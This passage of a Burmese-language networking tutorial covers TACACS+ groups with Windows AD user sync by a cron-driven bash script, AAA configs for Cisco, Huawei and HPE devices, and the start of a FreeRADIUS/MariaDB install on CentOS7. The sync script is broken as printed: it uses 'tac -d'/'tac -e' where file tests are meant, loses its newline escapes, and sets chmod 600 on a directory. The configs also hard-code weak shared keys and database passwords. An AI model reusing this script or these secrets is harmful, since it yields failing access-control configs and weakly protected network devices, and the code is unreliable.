#    member = staff
#    login = file /etc/tacacs/tacacs_passwords
#}

# We can also specify rules valid per group of users.
#group = group1 {
#	cmd = conf {
#		deny
#	}
#}

# Another example : forbid configure command for some hosts
# for a define range of clients
#group = group1 {
#	login = PAM
#	service = ppp
#	protocol = ip {
#		addr = 10.10.0.0/24
#	}
#	cmd = conf {
#		deny .*
#	}
#}

user = DEFAULT {
	login = PAM
	service = ppp protocol = ip {}
}

# Much more features are availables, like ACL, more service compatibilities,
# commands authorization, scripting authorization.
# See the man page for those features.

#*************************
#***USERS ACCOUNTS HERE***
#*************************
user = tyla.lin {
	 member = enabler
}

user = tom.cruise {
	member = reader
}

#*************************
#***   GROUPS HERE     ***
#*************************

group = enabler {
 default service = permit
 login = PAM
 service = exec {
 priv-lvl = 15
 }
}

acl = temper_acl {
 permit = 192.168.105.0/24
 deny = .*
}

group = temper {
 acl = temper_acl
 member = enabler
}

group = reader {
 default service = deny
 login = PAM
 service = exec {
 priv-lvl = 15
 }
 cmd = enable {
	permit .*
 }
 cmd = system {
	permit .*
 }
 cmd = show {
	permit .*
 }
 cmd = display {
	permit .*
 }
 cmd = exit {
        permit .*
 }
 cmd = quit {
	permit .*
 }
 cmd = ping {
	permit .*	
 }
 cmd = traceroute {
        permit .*
 }
}

root@apt-dev01:~# systemctl restart tacacs+
```

ဒီနေရာမှာ ဘာဖြစ်လို့ group သုံးခု ဖြစ်တဲ့ enabler၊ temper နဲ့ reader တို့ကိုတည်ဆောက်ပြီးတော့ configure လုပ်ရသလဲဆိုတာအနည်းငယ်ရှင်းဖို့လိုပါလိမ့်မယ်။ enabler ဆိုတဲ့ group ကိုတော့ network အတွင်းမှာ ကြိုက်တဲ့ core ရော access devices တိုင်းကို privilege 15 နဲ့ အကန့်အသတ် မရှိ ဝင်လို့ရဖို့လိုတဲ့ super users တွေအတွက်ရည်စူးပါတယ်။ reader ဆိုတဲ့ဟာကတော့ core ရော access devices တိုင်းကို privilege 15 နဲ့ သတ်မှတ်ထားတဲ့ commands တွေကိုပဲ run လို့ရအောင် authorization မှာလုပ်ထားတာဖြစ်ပါတယ်။ Troubleshoot လုပ်ဖို့လိုရင် လိုသလောက် ကိုယ်ကြိုက်တဲ့ commands တွေကို ထက်ပြီးတော့ထည့်လို့ရအောင် privilege 15 ပေးထားတာလည်း ဖြစ်ပါတယ်။ နောက်ဆုံးတစ်ခုကတော့ temper ဖြစ်တဲ့ group ဖြစ်ပြီး temporarily privilege 15 ကို access device တွေပေါ်မှာပဲ initial setup လုပ်တဲ့အခါအသုံးပြုလို့ရအောင်ရည်ရွယ်ပါတယ်။ စာရေးသူ အနေနဲ့ level 1 network support team က initial device setup လုပ်ဖို့လိုတယ်ဆိုရင် privilege 15 ကို access devices တွေကို ပေးဖို့အတွက် သီးသန့် တတိယ group ကို ဖန်းတီးထားတာလည်းဖြစ်ပါတယ်။ ဒီထက်ကောင်းအောင်တော့ authorization ကို implement လုပ်လို့ရပါတယ်။ အခုလက်ရှိမှာတော့ team ရဲ့ လိုအပ်ချက်တွေအပေါ်မှာ မူတည်ပြီးတော့ လက်ရှိ staging မှာ အခုလို setup လုပ်ထားတာဖြစ်ပါတယ်။

အခုဆိုရင် စာရေးသူတို့ လက်ရှိ tac\_plus.conf ကိုအခြေခံပြီးတော့ template တစ်ခုတည်ဆောက်ပါ့မယ်။ ဒီ template ဟာ tac\_plus.conf ရဲ့ မပြောင်းတဲ့ အပိုင်းတွေကိုရွေးယူပြီးတော့ ထက်ထည့်လာမယ့် အစိတ်အပိုင်းတွေနဲ့ ပေါင်းသွားမှာပါ။ နောက်အဆင့်မှာ ဘာဖြစ်လို့ template လိုသလဲဆိုတာကိုတွေ့ပါလိမ့်မယ်။ tac\_plus\_template.conf ကို /etc/tacacs+ ရဲ့အောက်မှာ ဖန်းတီးရမှာဖြစ်ပါတယ်။ နောက်တခု သတိထားရမှာက ဒီ template ကိုသုံးမယ်ဆိုရင် user ကိုသာ အထည့်အသွင်း ပြုလုပ်ဖို့အတွက်ဖြစ်ပြီး၊ group ကို တော့ enabler၊ temper နဲ့ reader ဆိုပြီး အသေထားဖို့အတွက် ရည်ရွယ်ပါတယ်။ Group အပြောင်းအလဲ အတွက်ပါ လိုမယ်ဆိုရင်တော့ automate လုပ်မယ့် bash script ကို အနည်းငယ်ပြင်ဆင်ရပါလိမ့်မယ်။

```
root@apt-dev01:/etc/tacacs+# cat tac_plus_template.conf 
# Created by Henry-Nicolas Tourneur(henry.nicolas@tourneur.be)
# See man(5) tac_plus.conf for more details

# Define where to log accounting data, this is the default.

accounting file = /var/log/tac_plus.acct

# This is the key that clients have to use to access Tacacs+

key = testing123

# Use /etc/passwd file to do authentication
    
#default authentication = file /etc/passwd
 

# You can use feature like per host key with different enable passwords
#host = 127.0.0.1 {
#        key = test 
#        type = cisco
#        enable =  enablepass
#        prompt = "Welcome XXX ISP Access Router nnUsername:"
#}

# We also can define local users and specify a file where data is stored.
# That file may be filled using tac_pwd
#user = test1 {
#    name = "Test User"
#    member = staff
#    login = file /etc/tacacs/tacacs_passwords
#}

# We can also specify rules valid per group of users.
#group = group1 {
#	cmd = conf {
#		deny
#	}
#}

# Another example : forbid configure command for some hosts
# for a define range of clients
#group = group1 {
#	login = PAM
#	service = ppp
#	protocol = ip {
#		addr = 10.10.0.0/24
#	}
#	cmd = conf {
#		deny .*
#	}
#}

user = DEFAULT {
	login = PAM
	service = ppp protocol = ip {}
}

# Much more features are availables, like ACL, more service compatibilities,
# commands authorization, scripting authorization.
# See the man page for those features.

# Additional 

group = enabler {
 default service = permit
 login = PAM
 service = exec {
 priv-lvl = 15
 }
}

acl = noc_acl {
 permit = 192.168.105.0/24
 deny = .*
}

group = temper {
 acl = noc_acl
 member = enabler
}

group = reader {
 default service = deny
 login = PAM
 service = exec {
 priv-lvl = 15
 }
 cmd = enable {
	permit .*
 }
 cmd = system {
	permit .*
 }
 cmd = show {
	permit .*
 }
 cmd = display {
	permit .*
 }
 cmd = exit {
        permit .*
 }
 cmd = quit {
	permit .*
 }
 cmd = ping {
	permit .*	
 }
 cmd = traceroute {
        permit .*
 }
}
```

နောက်တဆင့်အနေနဲ့ စာရေးသူ bash script တစ်ခုကို အောက်က အတိုင်း bash shell မှာရှိတဲ့ tools တွေပဲယူသုံးပြီးတော့ Windows AD domain controller ရဲ့ group နဲ့ user တွေကို လိုအပ်သလို အချက်အလက်တွေကို ရယူပါတယ်။ file နာမည်ကိုတော့ sync\_users.sh ဆိုပြီးတော့ /opt အောက်မှာ သွားပြီးတော့ ဖန်တီးတည်ဆောက်ထားပါတယ်။

```
root@apt-dev01:~# vi /opt/sync_users.sh

#!/bin/sh

# clear DNS cache which is always the best practice to deal with nameservers
systemd-resolve --flush-cache

# housekeeping items in prior to retrieve the info from Windows AD domain controller
if tac -d /tmp/tacacs; then
 tac -e /tmp/tacacs/enabler.txt && rm /tmp/tacacs/enabler.txt
 tac -e /tmp/tacacs/temper.txt && rm /tmp/tacacs/temper.txt
 tac -e /tmp/tacacs/reader.txt && rm /tmp/tacacs/reader.txt
else
 mkdir /tmp/tacacs
 chmod 600 /tmp/tacacs
fi

# again clear sssd cache for users and groups in case of removing users and groups
sss_cache -UG

# count number of users in each group
enablerCount=$(getent group enabler | cut -d':' -f4 | sed s/,/"n"/g | wc -w)
temperCount=$(getent group temper | cut -d':' -f4 | sed s/,/"n"/g | wc -w)
readerCount=$(getent group reader | cut -d':' -f4 | sed s/,/"n"/g | wc -w)

# add member entries in enabler group 
for x in $(seq $enablerCount); do
 enabler=$(getent group enabler | cut -d':' -f4 | cut -d',' -f$x)
 echo "user = $enabler {ntmember = enablern}n" >> /tmp/tacacs/enabler.txt
done

# add member entries in temper group
for y in $(seq $temperCount); do
 temper=$(getent group temper | cut -d':' -f4 | cut -d',' -f$y)
 echo "user = $temper {ntmember = tempern}n" >> /tmp/tacacs/temper.txt
done

# add member entries in reader group 
for z in $(seq $readerCount); do
 reader=$(getent group reader | cut -d':' -f4 | cut -d',' -f$z)
  echo "user = $reader {ntmember = readern}n" >> /tmp/tacacs/reader.txt
done

# merge tac_plus_template.conf with all enabler, temper and reader entries
cat /etc/tacacs+/tac_plus_template.conf /tmp/tacacs/enabler.txt /tmp/tacacs/temper.txt /tmp/tacacs/reader.txt > /tmp/tacacs/tac_plus.new 2>/dev/null

# check if the existing tac_plus.conf is different from the new one and if it is, replace the old one with the new then reload TACACS+ daemon
if diff /tmp/tacacs/tac_plus.new /etc/tacacs+/tac_plus.conf; then
 exit 0
else
 cp /tmp/tacacs/tac_plus.new /etc/tacacs+/tac_plus.conf
 systemctl reload tacacs+
fi
```

Script တော့ရပြီ၊ သို့သော် အဲ့ဒီ script ကို automate လုပ်ဖို့ဆိုရင် crontab ကို အသုံးပြုဖို့လိုပါလိမ့်မယ်။ အောက်မှာတော့ crontab ကိုဘယ်လိုတည်ဆောက်သလဲဆိုတာကို ဖော်ပြထားပါတယ်။ စာရေးသူ ငါးမိနစ်တစ်ခါ cron ကို အဲ့ဒီ script သွားပြီးတော့ run ခိုင်းပါတယ်။ အဲ့ဒီတော့ ငါးမိနစ်တခါတော့ Windows AD နဲ့ user account နဲ့ group membership ကို sync သွားဖြစ်နေမှာပါ။

```
root@apt-dev01:/etc/tacacs+# crontab -e
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/5 * * * * root /opt/sync_users.sh
```

ဒါဆိုရင်တော့ server ဘက်မှာလုပ်စရာရှိတာ အကုန်လုပ်ပြီးသွားပါပြီ။ network device တွေပေါ်မှာ ဘယ်လိုမျိုး AAA ကို configure လုပ်သလဲဆိုတာကို ဆက်ပြီးတော့အောက်မှာရှင်းပါ့မယ်။ စာရေးသူ အတွက်တော့ အဓိကအားဖြင့် vendor သုံးခုသော network devices တွေကို manage လုပ်ရပါတယ်။ Cisco၊ Huawei နဲ့ HPE procurve တွေအတွက်လိုအပ်တဲ့ AAA configuration တွေကကို အောက်မှာ ဖော်ပြပေးထားပါတယ်။ မိမိတို့ production environment မှာ AAA configuration ကို အသုံးမပြုခင်မှာ staging မှာသေချာ စမ်းသပ်ပြီး ကိုယ်တိုင်သေချာပြီဆိုတော့မှ production မှာ rollout လုပ်ပါ။ Networking devices တွေမှာ TACACS+ နဲ့ RADIUS အတွက် integration လုပ်ဖို့လိုတဲ့ AAA statements တွေဟာ နှစ်ဘက်ခွန်ဓားသွား နဲ့တူပါတယ်။ သတိအထူးပြုပါရန် စာရေးသူ ဒီနေရာမှာ အသိပေးချင်ပါတယ်။

Cisco router နဲ့ switch တွေအတွက်တော့ အောက်က AAA configuration ကို အသုံးပြုရပါ့မယ်။

```
!
conf t
 !
 aaa group server tacacs+ tac
  server-private 192.168.105.11 key testing123
  ip tacacs source-interface Loopback0
 !
 aaa new-model
 !
 aaa authentication login default group tac local
 aaa authentication enable default none
 !
 aaa authorization commands 15 default group tac if-authenticated
 aaa authorization config-commands 
 !
 aaa accounting update newinfo periodic 5
 aaa accounting exec default start-stop group tac
 aaa accounting commands 2 default start-stop group tac
 aaa accounting commands 15 default start-stop group tac
 aaa accounting send stop-record authentication failure
 aaa accounting network default start-stop group tac
 aaa accounting connection default start-stop group tac
 aaa accounting system default start-stop group tac
 aaa session-id common
 !
 line vty 0 4
 login authentication default
 exit
 !
```

Huawei router နဲ့ switch တွေအတွက်တော့ အောက်က AAA configuration တွေကို ထည့်သွင်းရပါလိမ့်မယ်။

```
sys

 hwtacacs-server template ts-aaa
   hwtacacs-server authentication 192.168.105.11
   hwtacacs-server authorization 192.168.105.11
   hwtacacs-server accounting 192.168.105.11
   hwtacacs-server shared-key cipher testing123
   
 aaa
   authentication-scheme hwtc-tc
     authentication-mode hwtacacs local
 ssh authentication-type default password

 aaa
    authorization-scheme hwtc-tc
      authorization-mode hwtacacs if-authenticated
      authorization-cmd 15 hwtacacs local

 aaa
    accounting-scheme hwtc-tc
       accounting-mode hwtacacs
	   accounting realtime 1
	   accounting start-fail online
    recording-scheme hwtc-tc
       recording-mode hwtacacs ts-aaa
    cmd recording-scheme hwtc-tc  
	
 aaa
    domain default_admin  
      authentication-scheme hwtc-tc
      accounting-scheme hwtc-tc
      authorization-scheme hwtc-tc
      hwtacacs-server ts-aaa
```

HPE procurve ဆိုရင်တော့ အောက်ကအတိုင်း configure လုပ်ရပါ့မယ်။

```
sys

hwtacacs scheme hwtac
primary authentication 192.168.105.11
primary authorization 192.168.105.11
primary accounting 192.168.105.11
nas-ip 192.168.105.3
key authentication simple testing123
key authorization simple testing123
key accounting simple testing123
user-name-format without-domain

domain aaa
authentication login hwtacacs-scheme hwtac local
authorization login hwtacacs-scheme hwtac local
accounting login hwtacacs-scheme hwtac local
authorization command hwtacacs-scheme hwtac local
accounting command hwtacacs-scheme hwtac
authentication default hwtacacs-scheme hwtac local
authorization default hwtacacs-scheme hwtac local
accounting default hwtacacs-scheme hwtac local

domain default enable aaa

role default-role enable 

line vty 0 4
authentication-mode scheme
user-role network-operator
command authorization
command accounting
```

ဒါဆိုရင် အားလုံး အဆင်သင့်ဖြစ်ပါပြီ။ TACACS+ နဲ့ Windows AD တို့ရဲ့ integration process ပြီးပါပြီ။ Standalone TACACS+ မှာပဲ ဖြစ်ဖြစ်၊ TACACS+ Windows AD integration မှာပဲဖြစ်ဖြစ် network devices တွေဘက်မှာတော့ အားလုံးအတူတူပါပဲ။ အားလုံးပဲ အလွယ်တကူ setup လုပ်နိုင်မယ်လို့ မျှော်လင့်ပါတယ်။


# FreeRADIUS နဲ့ PPPoE Authentication အပိုင်း (၁)

RADIUS ဆိုတာကတော့ Remote Authentication Dial-In User Service ရဲ့ အတိုကောက်ဖြစ်ပြီးတော့၊ တော်တော်လေးလည်း ရှေးကျတဲ့ authentication service လည်းဖြစ်ပါတယ်။ သူ့နာမည်မှာကိုက dail-in ဆိုတာပါနေတာကိုကြည့်ခြင်းအားဖြင့် သူရှိနေခဲ့တာဘယ်လောက်ကြာပြီလဲဆိုတာကို မှန်းကြည့်လို့ရပါတယ်။ စာရေးသူ RADIUS နဲ့ ပတ်သတ်ပြီးတော့ open-source solution မှာရှာကြည့်သလောက်တော့ FreeRADIUS ကိုလူပြောများတာနဲ့ လုပ်ငန်းခွင်မှာ အသုံးများတဲ့ PPPoE အတွက် authentication ကိုဘယ်လို လုပ်သလဲဆိုတာ စပြီးတော့ စမ်းသပ်ဖို့ရာဖြစ်လာပါတော့တယ်။ ဒီ post မှာတော့ စာရေးသူရဲ့ အကြိုက်ဆုံးဖြစ်တဲ့ CentOS7 ကိုအသုံးပြုထားပြီးတော့ FreeRADIUS install လုပ်ပုံအဆင့်ဆင့် ကိုရှင်းပြသွားပါ့မယ်။ ‌ပြီးတော့ local flat configuration file အစား MySQL database ကိုအသုံးပြုမှာဖြစ်ပြီးတော့ Dalo RADIUS ဆိုတဲ့ WebUI နဲ့ manage လုပ်တဲ့ပုံစံကို အဆင့်ဆင့်ဖော်ပြပေးသွားပါ့မယ်။ ပထမဆုံးအနေနဲ့ CentOS7 ကို အရင်ဆုံး install လုပ်ရပါ့မယ်။ CentOS7 installation process ကိုတော့ ဒီ post မှာ မရှင်းတော့ပါဘူး။ ‌CentOS7 မှာအသုံးပြုထားတဲ့ Anaconda installer က ရိုးရှင်းပြီးတော့ install လုပ်ရတာလည်း လွယ်ပါတယ်။ Linux မှာ ကိုယ်က အခုမှစတင်လေ့လာနေတယ်ဆိုရင်တော့ YouTube မှာ CentOS 7 ကို ဘယ်လို install လုပ်သလဲဆိုတာ ကိုယ်တိုင်ရှာကြည့်လို့ရပါတယ်။ CentOS7 ကို install လုပ်ပြီးလို့ အဆင်သင့်ဖြစ်ပြီဆိုရင်တော့ အောက်ကအတိုင်း FreeRADIUS ကို စတင် install လုပ်လို့ရပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bbff70d160a008a646052dd1bfa58e07446098ef%2Fradiusd-1.png?alt=media" alt=""><figcaption></figcaption></figure>

## FreeRADIUS ကို CentOS7 ပေါ်တွင် install လုပ်ပုံ

```
[tyla@rpm-dev01 ~]$ sudo -i
[sudo] password for tyla:

# update system and package with YUM
[root@rpm-dev01  ~]# yum update -y

# install required freeRADIUS package with YUM
[root@rpm-dev01  ~]# sudo yum -y install freeradius freeradius-utils freeradius-mysql freeradius-perl

# start and enable the freeRADIUS daemon radiusd as below
[root@rpm-dev01  ~]# systemctl start radiusd
[root@rpm-dev01  ~]# systemctl enable radiusd

# verify the status of radiusd
[root@rpm-dev01  ~]# systemctl status radiusd
● radiusd.service - FreeRADIUS high performance RADIUS server.
   Loaded: loaded (/usr/lib/systemd/system/radiusd.service; enabled; vendor preset: disabled)
   Active: active (running) since Thu 2019-10-31 15:55:13 UTC; 1 day 20h ago
  Process: 11626 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
  Process: 11622 ExecReload=/usr/sbin/radiusd -C (code=exited, status=0/SUCCESS)
  Process: 2095 ExecStart=/usr/sbin/radiusd -d /etc/raddb (code=exited, status=0/SUCCESS)
  Process: 2090 ExecStartPre=/usr/sbin/radiusd -C (code=exited, status=0/SUCCESS)
  Process: 2088 ExecStartPre=/bin/chown -R radiusd.radiusd /var/run/radiusd (code=exited, status=0/SUCCESS)
 Main PID: 2098 (radiusd)
   CGroup: /system.slice/radiusd.service
           └─2098 /usr/sbin/radiusd -d /etc/raddb

Oct 31 15:55:13 rpm-dev01 systemd[1]: Starting FreeRADIUS high performan....
Oct 31 15:55:13 rpm-dev01 systemd[1]: Started FreeRADIUS high performanc....
Nov 01 03:47:01 rpm-dev01 systemd[1]: Reloading FreeRADIUS high performa....
Nov 01 03:47:01 rpm-dev01 systemd[1]: Reloaded FreeRADIUS high performan....
Hint: Some lines were ellipsized, use -l to show in full.
```

## CentOS7 ရဲ့ Firewall ကို freeRADIUS အတွက်ပြင်ဆင်ရပုံ

```
# start and enable firewalld on CentOS7
[root@rpm-dev01  ~]# systemctl enable firewalld
[root@rpm-dev01  ~]# systemctl start firewalld

# verify the status of firewalld
[root@rpm-dev01  ~]# systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2019-10-11 18:11:21 UTC; 3 weeks 0 days ago
     Docs: man:firewalld(1)
 Main PID: 958 (firewalld)
   CGroup: /system.slice/firewalld.service
           └─958 /usr/bin/python2 -Es /usr/sbin/firewalld --nofork --nopid

Oct 11 18:11:20 rpm-dev01 systemd[1]: Starting firewalld - dynamic firew....
Oct 11 18:11:21 rpm-dev01 systemd[1]: Started firewalld - dynamic firewa....
Hint: Some lines were ellipsized, use -l to show in full.

# add http, https, radius services to be allowed through the firewalld permanently
[root@rpm-dev01  ~]# firewall-cmd --add-service={http,https,radius} --permanent

# reload the firewalld
[root@rpm-dev01  ~]# firewall-cmd --reload

# check the default zone on firewalld
[root@rpm-dev01  ~]# firewall-cmd --get-default-zone
public

# list the allowed services in public zone on firewalld 
[root@rpm-dev01  ~]# firewall-cmd --list-services --zone=public
dhcpv6-client http https radius ssh

# test freeRADIUS server in debug mode
[root@rpm-dev01  ~]# pkill radius
[root@rpm-dev01  ~]# radiusd -X
.....
Listening on auth address * port 1812 bound to server default
Listening on acct address * port 1813 bound to server default
Listening on auth address :: port 1812 bound to server default
Listening on acct address :: port 1813 bound to server default
Listening on auth address 127.0.0.1 port 18120 bound to server inner-tunnel
Listening on proxy address * port 47495
Listening on proxy address :: port 52337
Ready to process requests
```

ဒီအဆင့်မှာတော့ freeRADIUS ရဲ့ installation process ကပြီးသွားပါပြီ။ ကိုယ်က basic ပုံစံမျိုး flat config file ထဲမှာပဲ configure လုပ်ချင်တယ်ဆိုရင်တော့ /etc/raddb အောက်မှာတစ်ခုချင်းစီ ကိုယ်ကြိုက်သလို စတင်ပြီးတော့ configure လုပ်လို့ရပါပြီ။ သို့သော်လည်း အစကပြောခဲ့သလိုမျိုး စာရေးသူက flat file အစား MySQL db ကိုအသုံးပြုပြီးတော့ data တွေကို store လုပ်ချင်လို့ mariadb ကိုအသုံးပြုပါ့မယ်။ နောက်ပြီးတော့ Dalo RADIUS ဆိုတဲ့ WebUI အသုံးပြုပြီးတော့ MySQL database ကို manage လုပ်ချင်တဲ့အတွက် Apache နဲ့ daloradius တို့ကို install ထက်လုပ်ရပါ့မယ်။ အောက်မှာတော့ mariadb၊ Apache နဲ့ daloradius တို့ကို install ဘယ်လိုလုပ်သလဲဆိုတာကို ဖော်ပြသွားပါ့မယ်။

```
# mariadb 10 is not the default on CentOS7 thus add the repo to yum repos
[root@rpm-dev01  ~]# vi /etc/yum.repos.d/MariaDB.repo

[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/10.1/centos7-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=1

# update the package index
[root@rpm-dev01  ~]# yum -y update

# install mariadb
[root@rpm-dev01  ~]# yum install -y mariadb-server mariadb

# start and enable mariadb
[root@rpm-dev01  ~]# systemctl start mariadb
[root@rpm-dev01  ~]# systemctl enable mariadb

# verify the mariadb status
[root@rpm-dev01  ~]# systemctl status mariadb
● mariadb.service - MariaDB 10.1.41 database server
   Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; vendor preset: disabled)
  Drop-In: /etc/systemd/system/mariadb.service.d
           └─migrated-from-my.cnf-settings.conf
   Active: active (running) since Fri 2019-10-11 18:11:23 UTC; 3 weeks 0 days ago
     Docs: man:mysqld(8)
           https://mariadb.com/kb/en/library/systemd/
  Process: 1669 ExecStartPost=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
  Process: 1300 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= ||   VAR=`/usr/bin/galera_recovery`; [ $? -eq 0 ]   && systemctl set-environment _WSREP_START_POSITION=$VAR || exit 1 (code=exited, status=0/SUCCESS)
  Process: 1292 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
 Main PID: 1399 (mysqld)
   Status: "Taking your SQL requests now..."
   CGroup: /system.slice/mariadb.service
           └─1399 /usr/sbin/mysqld

Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] InnoDB: Highest supported file format is Barracuda.
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] InnoDB: 128 rollback segment(s) are active.
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] InnoDB: Waiting for purge to start
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] InnoDB:  Percona XtraDB (http://www.percona.com) 5.6.44-86.0 started; log sequence number 1784971
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521146152704 [Note] InnoDB: Dumping buffer pool(s) not yet started
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] Plugin 'FEEDBACK' is disabled.
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] Server socket created on IP: '::'.
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: 2019-10-11 18:11:23 140521942583552 [Note] /usr/sbin/mysqld: ready for connections.
Oct 11 18:11:23 rpm-dev01 mysqld[1399]: Version: '10.1.41-MariaDB'  socket: '/var/lib/mysql/mysql.sock'  port: 3306  MariaDB Server
Oct 11 18:11:23 rpm-dev01 systemd[1]: Started MariaDB 10.1.41 database server.

#  check if it is enabled to survive the reboot
[root@rpm-dev01  ~]# systemctl is-enabled mariadb.service
enabled
```

## MySQL server အား initial setup နဲ့ db root password ထည့်သွင်းပုံ

```
[root@rpm-dev01  ~]# mysql_secure_installation
Enter current password for root (enter for none): ENTER
Set root password? [Y/n] y
New password: Enter password
Re-enter new password: Repeat password
Remove anonymous users? [Y/n]: Y
Disallow root login remotely? [Y/n]: Y
Remove test database and access to it? [Y/n]: Y
Reload privilege tables now? [Y/n]: Y
```

မှတ်ချက် – အထက်တွင်ထည့်သွင်းသော root password သည် system root password မဟုတ်ပါ။ MySQL db အတွက် အသုံးပြုသော root password ဖြစ်သည်။ သို့ပါ၍ ထို password အား တစ်နေရာတွင် မှတ်ထားပါ။ နောက်ပိုင်းတွင် ၄င်း password ကို အသုံးပြု၍ MySQL db အား ချိတ်ဆက်ရန် တဖန်လိုလိမ့်မည်။

## PHP 7 အား CentOS7 ပေါ်တွင်ထည့်သွင်းအသုံးပြုပုံ

```
# add remi and epel repos
[root@rpm-dev01  ~]# yum install epel-release yum-utils
[root@rpm-dev01  ~]# yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm

# enable the PHP 7.3 remi repo
[root@rpm-dev01  ~]# yum-config-manager --enable remi-php73

# install PHP 7.3 packages
[root@rpm-dev01  ~]# yum install php php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd

# verify the version of installed PHP
[root@rpm-dev01  ~]# php -v
PHP 7.3.10 (cli) (built: Sep 24 2019 09:20:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.10, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.3.10, Copyright (c) 1999-2018, by Zend Technologies
```

## Mariadb ပေါ်တွင် freeradius အတွက် database တစ်ခုတည်ဆောက်ပုံ

```
[root@rpm-dev01  ~]# mysql -u root -p
Enter password:     # enter the db root password previously set
Welcome to the MariaDB monitor.  Commands end with ; or g.
Your MariaDB connection id is 498
Server version: 10.1.41-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.

MariaDB [(none)]> CREATE DATABASE frad;
MariaDB [(none)]> GRANT ALL ON frad.* TO frad@localhost IDENTIFIED BY "fradpass!23";
MariaDB [(none)]> FLUSH PRIVILEGES;
MariaDB [(none)]> quit;

# import radius db scheme to populate frad database
[root@rpm-dev01  ~]# mysql -uroot -pDB_ROOT_PASSWORD frad < /etc/raddb/mods-config/sql/main/mysql/schema.sql
```

## freeRADIUS တွင် sql module အား activate ပြုလုပ်ပုံ

```
# create a soft link to activate the sql module
[root@rpm-dev01  ~]# ln -s /etc/raddb/mods-available/sql /etc/raddb/mods-enabled/

# configure the sql module as required
[root@rpm-dev01  ~]# vi /etc/raddb/mods-available/sql
# -*- text -*-
##
## sql.conf -- SQL modules
##
##	$Id: 4a59483c35c77f573fb177919e19ba4434cc3da1 $

######################################################################
#
#  Configuration for the SQL module
#
#  The database schemas and queries are located in subdirectories:
#
#	sql//main/schema.sql	Schema
#	sql//main/queries.conf	Authorisation and Accounting queries
#
#  Where "DB" is mysql, mssql, oracle, or postgresql.
#
#

sql {
	# The sub-module to use to execute queries. This should match
	# the database you're attempting to connect to.
	#
	#    * rlm_sql_mysql
	#    * rlm_sql_mssql
	#    * rlm_sql_oracle
	#    * rlm_sql_postgresql
	#    * rlm_sql_sqlite
	#    * rlm_sql_null (log queries to disk)
	#
	driver = "rlm_sql_mysql"

#
#	Several drivers accept specific options, to set them, a
#	config section with the the name as the driver should be added
#	to the sql instance.
#
#	Driver specific options are:
#
#	sqlite {
#		# Path to the sqlite database
#		filename = "/tmp/freeradius.db"
#
#		# How long to wait for write locks on the database to be
#		# released (in ms) before giving up.
#		busy_timeout = 200
#
#		# If the file above does not exist and bootstrap is set
#		# a new database file will be created, and the SQL statements
#		# contained within the bootstrap file will be executed.
#		bootstrap = "${modconfdir}/${..:name}/main/sqlite/schema.sql"
# 	}
#
#	mysql {
#		# If any of the files below are set, TLS encryption is enabled
#		tls {
#			ca_file = "/etc/ssl/certs/my_ca.crt"
#			ca_path = "/etc/ssl/certs/"
#			certificate_file = "/etc/ssl/certs/private/client.crt"
#			private_key_file = "/etc/ssl/certs/private/client.key"
#			cipher = "DHE-RSA-AES256-SHA:AES128-SHA"
#		}
#
#		# If yes, (or auto and libmysqlclient reports warnings are
#		# available), will retrieve and log additional warnings from
#		# the server if an error has occured. Defaults to 'auto'
#		warnings = auto
#	}
#
#	postgresql {
#
#		# unlike MySQL, which has a tls{} connection configuration, postgresql
#		# uses its connection parameters - see the radius_db option below in
#		# this file
#
#		# Send application_name to the postgres server
#		# Only supported in PG 9.0 and greater. Defaults to no.
#		send_application_name = yes
#	}
#

	# The dialect of SQL you want to use, this should usually match
	# the driver you selected above.
	#
	# If you're using rlm_sql_null, then it should be the type of
	# database the logged queries are going to be executed against.
	dialect = "mysql"

	# Connection info:
	#
	server = "localhost"
	port = 3306
	login = "frad"
	password = "fradpass!23"

	# Database table configuration for everything except Oracle
	radius_db = "frad"

	# If you are using Oracle then use this instead
#	radius_db = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=localhost)(PORT=1521))(CONNECT_DATA=(SID=your_sid)))"

